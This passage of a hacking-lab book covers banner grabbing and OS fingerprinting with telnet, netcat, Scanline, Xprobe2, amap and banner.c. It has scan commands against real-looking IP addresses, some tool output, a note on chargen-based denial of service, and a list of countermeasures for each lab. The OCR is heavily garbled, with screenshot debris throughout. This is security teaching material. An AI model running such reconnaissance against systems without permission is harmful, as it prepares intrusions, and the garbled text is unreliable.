[{html>{head><{title >Error{ title>{rhead><body>The parameter is incorrect. < hodyl|

<shtml>

[Connection to host lost.

IC:~Documents and Settingssmapivey>
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“Banner grabbing” via Telnet works in Linux as well. In this example Telnet
is connecting to port 21.

51 Red Hat Linux B.0 - VMware Waorkstation

File  Edit  View %M  Power Snapshot  Windows  Help
: = = = Sull =]
Red Hat Linux 6.0
~ ocalho -
File Edit View Terminal Go Help

[

[root@localhost rootl# telnet 64.217.60.4 21f]

B

Eom |

The results show that Serv-U FTP Server, version 5.0 is being used at the target.

51 Red Hat Linux 8.0 - VMware Waorkstation

File Edit WView WM Power Snapshot Windows Help

: oo \E|@ B snepshot R ol B

b 100 Gcalho =1E3
Eile Edit View Terminal Go Help

[

[root@localhost root]# telnet 64.217.60.4 21
Trying 64.217.60.4...

Connected to ©4.217.60.4.

Escape character is ']1'.

220 Serv-U FTP Server v5.0 for WinSock ready...

W

‘A% Q @ Ei;é root@localhost:~ FETEENY]

2E=m |
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Lab 2: Banner ldentification

Banner Grabbing: NETCAT

Prerequisites: None

Countermeasures: Uninstall/disable unnecessary services, SSH, VPN,
IPSEC, banner alteration.

Description: The netcat application has many uses and can be used to
obtain specific banner information from services by connecting to
specific ports on the target. An attacker uses this information to launch
appropriate attacks for the results obtained. The netcat application is
used throughout this book. Remember that all commands in Linux are
case sensitive.

Procedure: From a DOS prompt or Linux terminal, type the following
with the syntax of:

nc <options> (IP Address) (Port #)
To use netcat on Microsoft Windows:
From the directory containing the netcat application type the following:
nc -v —-n (Target IP Address) (Port #)

In this example the netcat application is attempting to grab the banner
information from the target on port 80, the standard HTTP (Web) port. Type:

nc -v -n 24.227.197.22 80

B Windows 2000 Server - YMware Workstation (3l x|

File Edit Wiew WM Team Windows Help

i [ & Feor LG vcone zom sorvc: Y
4 JNetcat — The TCP{IP Swis... | Bl command Prompt oHf smapm

Ecmv
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Initially it may appear that netcat is not working or is stuck as it just sits there.

B} windows 2000 Server - ¥Mware Workstation i o [m] 3]

File Edit Wiew WM Team Windows Help

ODMEC EEEEEEE

iz & | [5 | [ 1 i Windows 2000 Server _
Hstart || (4 & ) @ - © || Eetcet - The 1P/ 5w | [B Command Prompt - nc... BEd sooem

@ o

C:=~\Downloadssnetcat>nc —v —n 24.227.197.22 80
CUMKNOWN)> [24.227.197.221 88 (7> open

BEomw
Press the Enter key twice.
Ioix)

Fle Edt Wew WM Team Windows Help
s unrecobesno )
7 e [ = T T v w00 serve TR
hstart ||| 7A @ <) @ 1 @ || & )uetcat = The TCR/IP Swis... [B Command Prompt. (e ss9em

& O

C:~Downloads\netcat>nc —v -n 24.227.197.22 80
CUMKNOWN)> [24.227.197.221 88 (7> open

HITP-1.1 408 Bad Regues
Server: Microsoft-I15/5
Date: Thu, B3 Nou 2805
Content-Type: textshtml
Content-Length: 87

éh::mli?lead)(title)Errnr(/titlE)(/hEa(l)(hndy)I]lE parameter is incorrect. <{/hody’|
~htm.
C:xDownloads“netcat>

Ecmy

In this example, the result is that the Target is using Microsoft IIS 5.0.
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To use Linux on Red Hat Linux:

B From the directory in which the compressed netcat file is located, type tar
—zxvf netcat-0.7.1.tar.gz and press the Enter key.

B The files will uncompress into a new directory named netcat-0.7.1.

B Change to the new directory by typing cd netcat-0.7.1 and pressing Enter.

B The netcat utility must be configured for the specific computer it is on. This
is done by typing:

./configure

18 e Hot Litas - ¥iiware WorksLation E = (=
Fin Edt Vew WM Toom  Windows Help

Rl e M=)

A teme | [ VWntkows 2000 Protessienal Wy Hed e Lo U Server | [ Vindows 2000 Server

d lWI("BCi"WSE"hOFI.‘H(IEi'HGI’GﬂIﬂ.F.l 7
Flle Edit  View Teminal Go Help
[rootalocalhost netcat-0.7.1]# ./configure]]

Thu Nov 13
616 PM

o Heme | [ Vndaws 2000 Protex sieoal Wy i Vel Lo S

d IWI("BGMOS':-'HQOFI.'HQE'HGI’GaIﬂ.F.l 7
File  Edit  Yiew Teminal Go Help
checking for srandom... yes

checking for randon.., yes
checking for inet _ptom... yes

checking for inct_ntop. ., yes

checking for struct sockaddr.sa_len... no
checking for struct in_pktinfo... yes

checking for in_port_t... yes
checking for getopt_long... yes
configure: creating . feonlig. status
config.status: creating Makefile
config.status: creating md/Makefile
config.status: creating lib/Makefile
config.status: creating lib/contrib/Makefile
config.status: creating sre/Makefile
config.status: creating doc/Makefile
config.status: creating doc/drafts/Makefile
config.status: creating po/Makefile.in
config.status: creating doc/texiZpod.pl
config.status: creating config.h

i i executing depfiles commands
wecuting default-1 commands
reating po/PUTFILES

Thu Nov 13
611 PM

B
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The next step is to type the make command.

Bl Red Hat Linux - ¥Mware Workstation N -0l x|

File Edit Miew WM Team ‘Windows Help

hd
Eile Edit Vew Teminal Go Help

checking for srandom... yes

checking for random... yes

checking for inet_pton... yes

checking for inet_ntop... yes

checking for struct sockaddr.sa_len... no
checking for struct in_pktinfo... yes
checking for in_port_t... yes

checking for getopt_long... yes

configure: creating ./config.status
config.status: creating Makefile
config.status: creating m4/Makefile
config.status: creating lib/Makefile
config.status: creating lib/contrib/Makefile

[+]

config. : creating src/Makefile
config. creating doc/Makefile
config. creating doc/drafts/Makefile
config. : creating po/Makefile.in
config. : creating doc/texizZpod.pl
config. : creating config.h

config. : executing depfiles commands
config. : executing default-1 commands
config. : creating po/POTFILES

config.status: creating po/Makefile
[root@localhost netcat-0.7.1]# make

Thu Nov 03
6:12PM

Eemw -

The make command executes.

[E% Red Hat Linux - ¥Mware Workstation _ X
SliRed K u]

File Edit View %M Team Windows Help

File Edit WView Terminal Go Help

|gce -DLOCALEDIR=\"\/usr/local/share/locale\" -DHAVE_CONFIG_H -I. -I. -I.. -g|
-02 -Wall -c "test -f 'udphelper.c' || echo './' udphelper.c

gce -g -02 -Wall  -o netcat core.o flagset.o misc.o netcat.o network.o telnet
.0 udphelper.o

make[2]: Leaving directory °/root/tools/netcat/netcat-0.7.1/src’

Making all in doc

make[2]: Entering directory /root/tools/netcat/metcat-0.7.1/doc’

Making all in drafts

make[3]: Entering directory '/root/tools/netcat/netcat-0.7.1/doc/drafts’
make[3]: Nothing to be done for ‘all'.
make[3]: Leaving directory °/root/tocls/netcat/netcat-0.7.1/doc/drafts’

]
]
1
make[3]: Entering directory '/root/tools/netcat/metcat-0.7.1/doc’
]
]
1

make[3]: Nothing to be done for ‘"all-am'.
make[3]: Leaving directory °/root/tools/netcat/netcat-0.7.1/doc"
make[2]: Leaving directory °/root/tools/netcat/netcat-0.7.1/doc"

Making all in po

make[2]: Entering directory '/root/tools/netcat/metcat-0.7.1/po’
make[2]: Nothing to be done for ‘all'.
make[2]: Leaving directory °/root/tools/netcat/netcat-0.7.1/po’

: Nothing to be done for ‘all-am'.

: Leaving directory "/root/tools/netcat/netcat-0.7.1'"
make[1]: Leaving directory /root/tools/netcat/netcat-0.7.1"
i [root@localhost netcat-0.7.1]#

]
]
1
make[2]: Entering directory '/root/tools/netcat/metcat-0.7.1'
1
]

0 Thu Nov 03
6:20 PM

Eomw

Se@
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The last step is to install the netcat application by typing make install.

Bl Red Hat Linux - YMware Workstation =[O x|

File Edit Wew ¥M Team Windows Help

# Home

Eile Edit View Terminal Go Help
[root@localhost netcat-0.7.1]# make install

EEmw

The netcat application will install.

Bl Red Hat Linux - ¥Mware Workstation ] oy [

File Edit Wiew M Team Windows Help

nlier @

Lad
File Edit View Terminal Go Help

make[1]: Entering directory '/root/tools/netcat/netcat-0.7.1/po’

/bin/sh ‘case "./mkinstalldirs” in /*) echo "./mkinstalldirs" ;; *) echo ".././m|
kinstalldirs" ;; esac’ /usr/local/share

installing it.gmo as /usr/local/share/locale/it/LC_MESSAGES/netcat.mo

installing sk.gmo as /fusr/local/share/locale/sk/LC_MESSAGES/netcat.mo

3]

if test "netcat" = "gettext"; then Y\

/bin/sh “case "./mkinstalldirs" in /*) echo "./mkinstalldirs" ;; *) echo "../.
/mkinstalldirs" ;; esac’ /usr/local/share/gettext/po; \

for file in Makefile.in.in Makevars remove-potcdate.sin guot.sed boldquot.sed
en@guot.header en@boldguot.header insert-header.sin Rules-quot ; do

/Jusr/bin/install -c -m 644 ./$file \
Jusr/local/share/gettext/po/$file; \
done;
else '\
EREEAN
fi
make[1]: Leaving directory "/root/tools/netcat/netcat-0.7.1/po’
make[1]: Entering directory "/root/tools/netcat/netcat-0.7.1"
make[2]: Entering directory "/root/tools/netcat/netcat-0.7.1"
make[2]: Nothing to be done for ‘“install-exec-am'.
make[2]: Nothing to be done for “install-data-am'.
make[2]: Leaving directory °/root/tools/netcat/netcat-0.7.1'
make[1]: Leaving directory °/root/tools/netcat/netcat-0.7.1'
[root@localhost netcat-0.7.1]# I

T

50 Thu Nov 03
Z 6:25 PM

Eemw -
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In this example, the netcat application is run against a target running an
FTP server by typing:

nc -v -n 24.227.197.22 21

Bl Red Hat Linux - ¥Mware Workstation =] |
Fle Edt Wiew VM Team ‘Windows Help

lad root@ localhost:~/tools/netcat/netcat-0.7.1

File Edit View Terminal Go

Help
[root@localhost netcat-0.7.1]# nc 24.227.197.22 21
220 Serv-U FTP Server v5.0 for WinSock ready...

QR BaRE =@ o

6:31 PM

=110

From this example the result is:

B The target at 24.227.197.22 is running Serv-U FTP Server version 5.0.
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Lab 3: Banner ldentification

Banner Grabbing: SCANLINE

Prerequisites: None

Countermeasures: Uninstall/disable unnecessary services, SSH, VPN,
IPSEC, banner alteration.

Description: The Scanline application has many uses and can be used to
obtain specific banner information from other running services by
connecting to other ports on the target. An attacker uses this informa-
tion to launch appropriate attacks for the results obtained.

Procedure: Download or install from the accompanying CD and execute
against the target with the syntax of:

sl <options> (IP ADDRESS)

In this example, from a DOS prompt, type the following target:
sl -v -b 192.168.0.8

e+ Command Prompt

C:\Tools\Windows“scan line*sl -v -h 192.168.8.8_




74 ®  Practical Hacking Techniques and Countermeasures

Scanline identifies open ports on the target and retrieves the banner infor-
mation.

In this example, the target:

B Has ports 13, 19, 21, 25, 80, and 6666 open.
B [s using Microsoft FTP Service, version 5.0.
B [s using Microsoft ESMTP MAIL Service, version 5.0.2172.1
B [s using Microsoft IIS, version 5.0.
Command Prompt
C: \Tuul_;\lhn(luu_;\_‘can line>sl —v —-b 192.168.8.8
Scankine (THM> 1.81
i - Inc. 2882
thttp://uuw.foundstone.con
Adding IP 192.168.8.8
Banner grabbing enabled.
Ho TCP 3 default port list £ "TCPports . txt"
i “UDPports . txt"
ICMP unreachable:
13 12 21 25 88 135 13‘? 443 445 1825 1826 1828 1755 3372 3387 6666
? 9 135 137 138 161 445 580 10827 34%6
-49 PH 18-2-20041
s, —  /B123456789 ;<= )"ERBCDEFGHIJKLHNUPQRSTUUUKYZ[\]"_ ahl:defg LAk -1
/3123456789 <= )"ERBCDEFGHIJKLHNUPQRSTUUUKYZ[\] _“abcdefgh "HExE&' (Ox+, 1
TCP 21:
[228 win2@8BBs—v Microsoft FTP Service <(Version 5.8>.1
[22ﬂ \Sun —v Microsoft ESMTP MAIL Service,. Version: 5.8.2172.1 ready at Sat.
? Oct 200‘1 22: 11 49 -0500
[HTTP/i 1 200 OK Server: Microsoft—IIS/ Date: Sun,. 10 Oct 2004 B2:11:49 GMI (|
onnection: Keep-Alive Content—Length: 1 Content—Type: textshtml Set-Cookie:
[Scan finished at Sat Oct B9 22:12:880 2884
i IP and 267 ports scanned in hours mins 9.59 secs
C:~Tools\Windows\scan line>_
B Port 13 is used for the Daytime protocol.
B Port 19 is used for the character generator service (chargen).
B Port 6666 is normally used for Internet Relay Chat (IRC).
B Ports 13 and 19 can be used by an attacker to perform a Denial-of-Service

(DoS) attack on the target as these ports are required to respond to
requests without any authentication.

*Note: Sending 1,000 simultaneous requests to port 19, the chargen service will
respond with 1,000 endless loops of random character generation. What is
worse is if two targets are compromised in this fashion; both targets can
effectively create a DoS attack against each other with the attacker placing
the IP address of each target (spoofing) as the source of the requesting
computer.



Banner Identification ®m 75

Lab 4: Operating System Identification

Detect Operating System of Target: Xprobe2

Prerequisites: None
Countermeasures: IDS to detect UDP to port 32132, deny ICMP

requests/reply.

Description: The Xprobe2 application is used to identify the possible
operating system (OS) of the target. An attacker uses this information
to launch appropriate attacks for the results obtained. Remember that
all commands in Linux are case sensitive.

Procedure: Uncompress, compile, create the Xprobe2 executable and
execute against the target with the syntax of:

Xprobe2 options Target IP ADDRESS

From the Linux directory containing the type Xprobe compressed file, type
tar —zxvf xprobe2-0.3.tar.gz.
The Xprobe files will uncompress and install into a new directory named

xprobe2-0.3.

Change to the new directory by typing cd xprobe2-0.3 and pressing

Enter.

The Xprobe application needs to be configured for the machine it is
currently running on by typing i ./configure.

The files will configure for the machine they are currently on. Be patient
as this may take a few minutes depending on the computer.

The next step is to type make and press Enter.

Bl Red Hat Linux - YMware Workstation
Fie Edt View WM Team ‘Windows Help

=10/ x|

MEREEEIEEEE

Il 3 Red Hat Linux ed Hat Linux &

& Ho
d

yes

(cached) yes

x

.root®localhost:~/tools/Xprobe2/xprobe2:0.3. i
Eile Edit Vew Teminal Go Help
checking sys/time.h presence...
checking for sys/time.h... yes
checking for unistd.h...
checking linux/filter.h usability...
checking linux/filter.h presence...

no
yes

configure: WARNING: linux/filter.h: present but cannot be compiled

configure: WARNING: linux/filter.h: check for missing prerequisite headers?
configure: WARNING: linux/filter.h: see the Autoconf documentation

configure: WARNING: linux/filter.h: section "Present But Cannot Be Compiled"
configure: WARNING: linux/filter.h: proceeding with the preprocessor's result
configure: WARNING: linux/filter.h: in the future, the compiler will take preced
ence

configure: WARNING: #H #
configure: WARNING: ## Report this to the AC_PACKAGE NAME lists. ##
configure: WARNING: ## HE
checking for linux/filter.h... yes

checking for an ANST C-conforming const... yes

checking for size_t... yes

checking whether time.h and sys/time.h may both be included... yes

checking whether byte ordering is bigendian... no

configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
[root@localhost xprobez-0.3]# make

QS HegaH e e

Eomiy
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The make command will execute.

B Red Hat Linux - ¥Mware Workst, i _1ol x|

File Edit Wew %M Team Windows Help

nre|BanB

_root®localhost:~/iools/Xprobez/xprobe2 0.3 . i oo KIS

File Edit View Terminal Go Help

obe,/snmp "

g++ - -g -02 -Wall -W -Wcast-align -Wecast-qual -Wshadow -I. -I.. -I../../../ -

I../../../xplib -I ../../../../1libs-external/USI++ snmp.cc

g++ -c -g -02 -Wall -W -Wecast-align -Wecast-gqual -Wshadow -I. -TI.. -I../../../ -

I ../../../xplib -1 ../../../../1ibs-external/USI++ snmp_mod.cc

snmp done

make[4]: Leaving directory '/root/tools/Xprobe2/xprobe2-0.3/src/xpmodules/os_pro

be/snmp'

ar cr os_probe.a icmp_port_unreach/*.o0 icmp_echo_id/*.0 icmp_timestamp/*.o \
icmp_inforeq/#.o0 iemp_addrmask/*.o tcp_handshake/*.o tep_rst/*.0 smb/*.0 snm|

p/*.0

ranlib os_prcbe.a

make[3]: Leaving directory " /root/tools/Xprobe2/xprobe2-0.3/src/xpmodules/os_pro

be’

make[2]: Leaving directory ’/root/tools/Xprobe2/xprobe2-0.3/src/xpmodules’

g++ -Wall -W -Wcast-align -Wecast-qual -Wshadow -g -02 -I ./ -I ../libs-external/

USI++/src/ cmd_opts.o config set.o interface.o interface con.o log.o os_matrix.o

scan_engine.o target.o targets_list.o xprobe.o xprobe_module_hdlr.o xprobe_modu

le_param.o xpmodules/alive_probe/alive_probe.a xpmodules/os_probe/os_probe.a xp

1lib/1ibxplib.a ../libs-external/USI++/src/libusi++.a -o xprobe2 -1dl -rdynamic

-1pcap

strip xprobe2

make[1]: Leaving directory ’/root/tools/Xprobe2/xprobe2-0.3/src’

[root@localhost xprobe2-0.3]#

ad

Thu Nov 03
4:10 PM

BBk

The last step prior to execution is to install the Xprobe application by typing:

make install

ed Hat Linux - ¥Mware Workst o [m] 33

File Edit Wiew WM Team Windows Help

v

Eile Edit View Terminal Go Help

obe/snmp "

g++ -¢ -g -02 -Wall -W -Wcast-align -Wcast-qual -Wshadow -I. -I.. -I../../../ -

I ../../../xplib -T ../../../../1libs-external/USI++ snmp.cc

g++ -¢ -g -02 -Wall -W -Wcast-align -Weast-gual -Wshadow -I. -I.. -I../../../ -

I../../../xplib -I ../../../../1libs-external/USI++ snmp_mod.cc

snmp done

make[4]: Leaving directory "/root/tools/Xprobe2/xprobe2-0.3/src/xpmedules/os_pro

be/snmp’

ar cr os_probe.a icmp_port_unreach/*.0 icmp_echo_id/*.0 icmp_timestamp/#.o \
iemp_inforeq/*.o iemp_addrmask/*.o tcp_handshake/*.o tcp_rst/*.o smb/*.¢ snm|

p/*.0

ranlib os_probe.a

make[3]: Leaving directory " /root/tcols/Xprobe2/xprobe2-0.3/src/xpmodules/os_pro

be'

make[2]: Leaving directory " /root/tools/Xprobe2/xprobe2-0.3/src/xpmodules’

g++ -Wall -W -Wcast-align -Wcast-qual -Wshadow -g -02 -I ./ -I ../libs-external/

UST++/src/ emd_opts.o config_set.o interface.o interface_con.o log.o os_matrix.o

scan_engine.o target.o targets_list.o xprobe.o xprobe_module_hdlr.c xprobe_modu

le_param.o xpmodules/alive_probe/alive_probe.a xpmodules/os_probe/os_probe.a xp

1ib/1ibxplib.a ../libs-external/USI++/src/libusi++.a -o xprobe2 -1d1 -rdynamic

-1lpcap

strip xprobe2

make[1]: Leaving directory " /root/tools/Xprobe2/xprobe2-0.3/src’

[root@localhost xprobe2-0.3]# make instﬂlll

Thu Nov 03
412 PM

Eemv -
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The Xprobe application will now install.

Ioix

File Edit  Wiew WM Team Windows Help

= IE]

{3 Red Hat Linux Red Hat Lint

lhd root@localhost:-/lools/Xprobe2/xprobe2:0.3 =B8]
Eile Edit View Terminal Go Help
Imake[4]: Leaving directory '/root/tools/Xprobez/xprobe2-0.3/src/xpmodules/os_pro[~]
be/smb '
jcd snmp; make

make[4]: Entering directory °/root/tools/Xprobe2/xprobe2-0.3/src/xpmodules/os_pr|
obe/snmp’
|snmp done

make[4]: Leaving directory "/root/tools/Xprobe2/xprobe2-0.3/src/xpmodules/os_pro)
be/snmp*

ar cr os_probe.a icmp_port_unreach/#.o icmp_echo_id/#.o icmp_timestamp/*.o \

icmp_inforeg/*.0 icmp_addrmask/*.o tep_handshake/*.o0 tcp_rst/%.o smb/*.o0 snm

p/*.0

ranlib os_probe.a
make[3]: Leaving directery '/root/tocls/Xprobe2/xprobe2-0.3/src/xpmodules/os_pro
be'

make[2]: Leaving directory /root/tools/Xprobe2/xprobe2-0.3/src/xpmodules’

g++ -Wall -W -Wcast-align -Wcast-qual -Wshadow -g -02 -I ./ -I ../libs-external/
USI++/src/ cmd_opts.o config set.o interface.o interface_con.o log.o os_matrix.o
scan_engine.o target.o targets_list.o xprobe.o xprobe_module_hdlr.o xprobe_modu
le_param.o xpmodules/alive_probe/alive_probe.a xpmodules/os_probe/os_probe.a xp
1ib/libxplib.a ../libs-external/USI++/src/libusi++.a -o xprobe2 -1dl -rdynamic
-1pcap
|strip xprobe2

make[1]: Leaving directory /root/tools/Xprobe2/xprobe2-0.3/src’

[root@localhost xprobez2-0.3]#

QS We@ficEd@ o  mw

BEemw -

In this example to execute Xprobe against a target, type:
xprobe2 172.16.1.40

ed Hat

ux - YMware Workst; =10 x|

Fle Edit wiew ¥M Team Windows Help

)

dl .roo1Z localhost:~/lools/Xprobe2/xprobe2:0.3
Eile Edit View Terminal Go Help
[root@localhost xprobe2-0.3]# xprobe2 172.16.1.40.

50 Thu Nov 03
= 4:38 PM

=L




78 W Practical Hacking Techniques and Countermeasures

The results of the Xprobe application will be listed.

Bl Red Hat Linux - ¥Mware Workstation 3 =10 x|

File Edit Yiew %M Team ‘Windows Help
nlre 8GR BE R
i

v

@Reil Hat Linux

root® localhost:-/tools/Xprobe2/xprobez-0.3 i 7 i =l
File Edit View Terminal Go Help
[+] Primary guess:
[+] Host 172.16.1.40 Running 05: "Microsoft Windows XP" (Guess probability: 100%
)

[+] Other guesses:

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows 2000 Server Service Pack 4"
(Guess probability: 100%)

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows 2000 Server Service Pack 3"
(Guess probability: 100%)

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows 2000 Server Service Pack 2"
(Guess probability: 100%)

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows 2000 Server Service Pack 1"
(Guess probability: 100%)

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows XP SP1" (Guess probability:
100%)

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows 2000 Server" (Guess probabil
ity: 100%)

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows 2000 Workstation SP4" (Guess
probability: 100%)

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows 2000 Workstation SP3" (Guess
probability: 100%)

[+] Host 172.16.1.40 Running 0S: "Microsoft Windows 2000 Workstation SP2" (Guess
probability: 100%) |
[+] Cleaning up scan engine
[+] Modules deinitialized

AP He M g T

cem

From the results of this example:

The primary guess is the target is running Microsoft Windows XP
The other guesses include:

Microsoft Windows 2000 Server Service Pack 4
Microsoft Windows 2000 Server Service Pack 3
Microsoft Windows 2000 Server Service Pack 2
Microsoft Windows 2000 Server Service Pack 1
Microsoft Windows XP SP1

Microsoft Windows 2000 Workstation Service Pack 4
Microsoft Windows 2000 Workstation Service Pack 4
Microsoft Windows 2000 Workstation Service Pack 4
Microsoft Windows 2000 Workstation Service Pack 4

In this example, the primary guess of Xprobe2 was incorrect as the target
was actually Microsoft Windows 2000 Server with no updates or service packs
installed.

*Note: Even though Xprobe2 misidentified the target, it is possible that Xprobe has
identified the host computer, which in this case is Microsoft Windows XP.
Even so, Xprobe2 did identify that the target was Microsoft Windows in origin.
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Lab 5: Banner ldentification

Banner Grabbing: AMAP

Prerequisites: None

Countermeasures: Uninstall/disable unnecessary Services, banner alteration

Description: The amap application is used to obtain specific banner
information from other running services by connecting to other ports
on the target. An attacker uses this information to launch appropriate
attacks for the results obtained. Remember that all commands in Linux
are case sensitive.

Procedure: Download or compile the application and execute it with the
following syntax:

amap <-options> target ip address

To install amap on a Linux computer:

B From the Linux directory containing the amap application type tar
—zxvf amap-5.2.tar.gz.

B The contents of the file will be uncompressed in a new directory named
amap-5.2.

B Change to the new directory by typing cd amap-5.2 and pressing Enter.

B From the new directory the amap application needs to be configured
for the computer it resides on by typing ./configure.

B The amap application compiles.

Bl Red Hat Linus - YMware Workstation i -1al x|

File Edit Yiew WM Team ‘Windows Help
nreBoplEa B
ﬁ Home @Rell Hat Linux G

I root@localhostiz/toolsjamap/amap:5.2 -
Eile Edit Vview Terminal Go Help
updating cache ./config.cache
creating ./config.status
creating Makefile
creating pere.h
creating pcre-config
creating RunTest
creating config.h

Starting amap auto configuration ...

Checking for openssl ...
. found

Manual page will be install to: /usr/local/share/man

Amap will be installed into .../bin and .../ete of: /usr/local
(change this by running ./configure --prefix=path)

Writing Makefile.in ...
Generating Makefile ...

now type "make"
[root@localhost amap-5.2]#

a3t Bl o M

Eem -
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The next step is to make the amap executable by typing make and pressing
Enter.

File Edit ‘View %M Team ‘Windows Help

nlr @ |t Gh|eal®
A

Bd root@ocalhost:~fioolsjamap/amaps 2.
File Edit Wew Teminal Go Help
updating cache ./config.cache
creating ./config.status

creating Makefile

creating pere.h

creating pere-config

creating RunTest

creating config.h

Starting amap auto configuration ...

Checking for openssl ...
. found

Manual page will be install to: /usr/local/share/man

Amap will be installed inte .../bin and .../etc of: /usr/local
(change this by running ./configure —-prefix=path)

Writing Makefile.in ... )i
Generating Makefile ...

now type "make"
[root@localhost amap-5.2]# make

Thu Nov 03
1:10 PM

The make command will create the amap executable.

[ElfRed Hat Linux - YMware Workstation

File Edit  View Team  ‘Windows

Help

ad
File Edit View Teminal Go Help

cd pcre-3.9 &k make

make[1]: Entering directory °/root/tools/amap/amap-5.2/pcre-3.9'

gee -DHAVE_CONFIG_H -I. -T. -T. -DNEWLINE=10 -g -02 -c pcre.c

gce -DHAVE_CONFIG_H -I. -I. -I. -DNEWLINE=10 -g -02 -c maketables.c
gcc -DHAVE_CONFIG_H -I. -I. -I. -DNEWLINE=10 -g -02 -c get.c

gee -DHAVE_CONFIG_H -I. -I. -I. -DNEWLINE=10 -g -02 -c study.c

gece -DHAVE_CONFIG_H -I. -I. -I. -DNEWLINE=10 -g -02 -c chartables.c

rm -f libpcre.a

ar cru libpcre.a pere.o maketables.o get.o study.o chartables.o
ranlib libpere.a

make[1]: Leaving directory "/root/tools/amap/amap-5.2/pere-3.9"

gcc —02 —¢ -0 amap-1ib.o amap-lib.c -I/usr/kerberos/include -DOPENSSL

gcc -02 —o amap amap.c amap-lib.o -lpcre -L./pcre-3.9/ -TI./pere-3.9/ -1ssl -lcry
pto -L/1ib -L/1ib -I/usr/kerberos/include -DOPENSSL

test -e amap6 -0 -e amap6.lnk || 1n -s amap amapé

gce -02 —o amapcrap amapcrap.c -1ssl -lerypto -L/1ib -1/1ib -T/usr/kerberos/incl
ude -DOPENSSL

test -e amap.exe & strip amap.exe amapcrap.exe || echo

test -e amap.exe || strip amap amapcrap Z

[root@localhost amap-5.21# |

Thu Nov 03
L10PM

Eomv s

To scan a target with an IP address of 172.16.1.40, run the FTP service and
grab the banner information, type the following:

./amap -B 172.16.1.40 21
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The amap is the application itself. The —B option is the “Just Grab Banners
Only” command. The 172.16.1.40 is the target IP address. 21 is the port the
FTP service runs on.

ed Hat Linux - VMware Workstation

]

File Edit View YM Team ‘Windows Help

) Red Hat Linux
root@localhost /ool s/AmAp/AMARS 2. L.
File Edit View Temminal Go Help

cd pcre-3.9 &k make

make[1]: Entering directory °/root/tools/amap/amap-5.2/pcre-3.9"

e

gec -DHAVE_CONFIG_H -I. -I. -T. -DNEWLINE=10 -g -02 - pcre.c
gcc -DHAVE_CONFIG H -I. -I. -I. -DNEWLINE=10 -g -02 -c maketables.c
\gcc -DHAVE_CONFIG_H -I. -I. -I. -DNEWLINE=10 -g -02 -c get.c

gec -DHAVE_CONFIG_H -I. -I. -T. -DNEWLINE=10 -g -02 -e study.c

gec -DHAVE_CONFIG H -I. -I. -I. -DNEWLINE=10 -g -02 -c chartables.c

rm -f libpcre.a

ar cru libpcre.a pere.o maketables.o get.o study.o chartables.o
ranlib libpere.a

make[1]: Leaving directory "/root/tools/amap/amap-5.2/pcre-3.9"

gcc -02 —c -0 amap-1ib.o amap-lib.c -I/usr/kerberos/include -DOPENSSL

gec -02 —o amap amap.c amap-1ib.o -lpcre -L./pcre-3.9/ -I./pere-3.8/ -1ssl -lcry,
pto -L/1ib -L/1ib -I/usr/kerberos/include -DOPENSSL

test -e amap6 -0 -e amap6.lnk || 1n -s amap amapé

\gce -02 —o amaperap amaperap.c -lssl -lerypto -L/1ib -1/1ib -T/usr/kerberos/incl
ude -DOPENSSL

test -e amap.exe & strip amap.exe amapcrap.exe || echo

test -e amap.exe || strip amap amapcrap ¥

root@localhost amap-5.2]# ./amap -B 172.16.1.40 21.

Thu Nov 03
1:24 PM

EoBv

The amap application will scan the target on port 21 and in this example
will grab only the banner information available on that port.

[ElfRed Hat Linux - YMware Workstation

File Edt View YM Team ‘Windows Help

nlr e @GR Eal®
(ml

R4 root@localhost: - jiools/amap/amaps.2 =]
File Edit Wew Teminal Go Help

[root@localhost amap-5.2]# ./amap -B 172.16.1.40 21

amap v5.2 (www.thc.org/thc-amap) started at 2005-11-03 13:25:28 - BANNER mode

Banner on 172.16.1.40:21/tcp : 220 win2000s-v Microsoft FTP Service (Version 5.0
).Ar\n

amap v5.2 finished at 2005-11-03 13:25:28
[root@localhost amap-5.2]#

Thu Nov 03
125 PM
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B [n this example, the target:

B Resolves to the hostname of win2000s-v.
B [s running the Microsoft FTP Service (Version 5.0).

To install amap on a Windows computer:

B From the directory containing the amap executable, to scan a target
with an IP address of 24.227.197.21 run the FTP service and grab the
banner information by typing the following:

amap -B 172.16.1.40 21

B} Windows 2000 Professional - ¥Mware Workstation ' (=]

|Fi|e Edit Wiew WM Team ‘Windows Help

[#%]Command Prompt _!!!l

C:sDounloadssamapsamap-5.2-win>amap —-B 172.16.1.48 21

il start|

J @& 3 |J B command Prompt GLEED  sogpm

=1
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B Amap for Windows will execute:

B Windows 2000 Professional - ¥Mware Workstation '

|Fi|e Edit Wiew ¥M Team ‘Windows Help

Command Prompt _!!!l

C:“Downloads“amap~amap-5.2-win>amap -B 172.16.1.48 21
amap v5.2 (www.thc.orgs/thc—amap? started at 2085-11-B3 28:18:33 — BANMER mode

l)}anner on 172.16.1.48:21/tcp : 220 win2@@@s—v Microsoft FIP Service {(Version 5.0
Nen

amap v5.2 finished at 2885-11-83 28:18:33

C:*Dounloads>amap amap—5._.2—win>_

iﬂstartl J :ﬂ e I‘:;ﬂ |J EA command Prompt

=

As in the Linux example, the target:

B Resolves to the hostname of win2000s-v.
B Is running the Microsoft FTP Service (Version 5.0).



84 ®m  Practical Hacking Techniques and Countermeasures

Lab 6: Banner Identification

Banner Grabbing: BANNER.C

Prerequisites: None

Countermeasures: Uninstall/disable unnecessary services, SSH, VPN,
IPSEC, banner alteration.

Description: The banner.c script is compiled and used to obtain specific
banner information from other running services by connecting to other
ports on the target. An attacker uses this information to launch appro-
priate attacks for the results obtained. Remember that all commands
in Linux are case sewnsitive.

Procedure: From a Linux terminal, compile the banner.c script and then
type the following with the syntax of:

. /banner (Start IP) (End IP) (Start Port) (End Port)

From the Linux directory containing the script compile the banner.c script
first by typing gcc banner.c —o banner.
Once compiled, type:

./banner 192.168.11.120 192.168.11.120 21 21
*Note: Your target IP may vary as in this example, the IP address of my target was

192.168.11.120 and I was only grabbing the banner information for port 21
(the FTP port).

51 Red Hat Linux 8 Server - VMware Worksiation

© File  Edit  View VM Power Snapshot  Windows  Help

RCCE Calie
T
L droo ocalho 00 ba - p - o o -
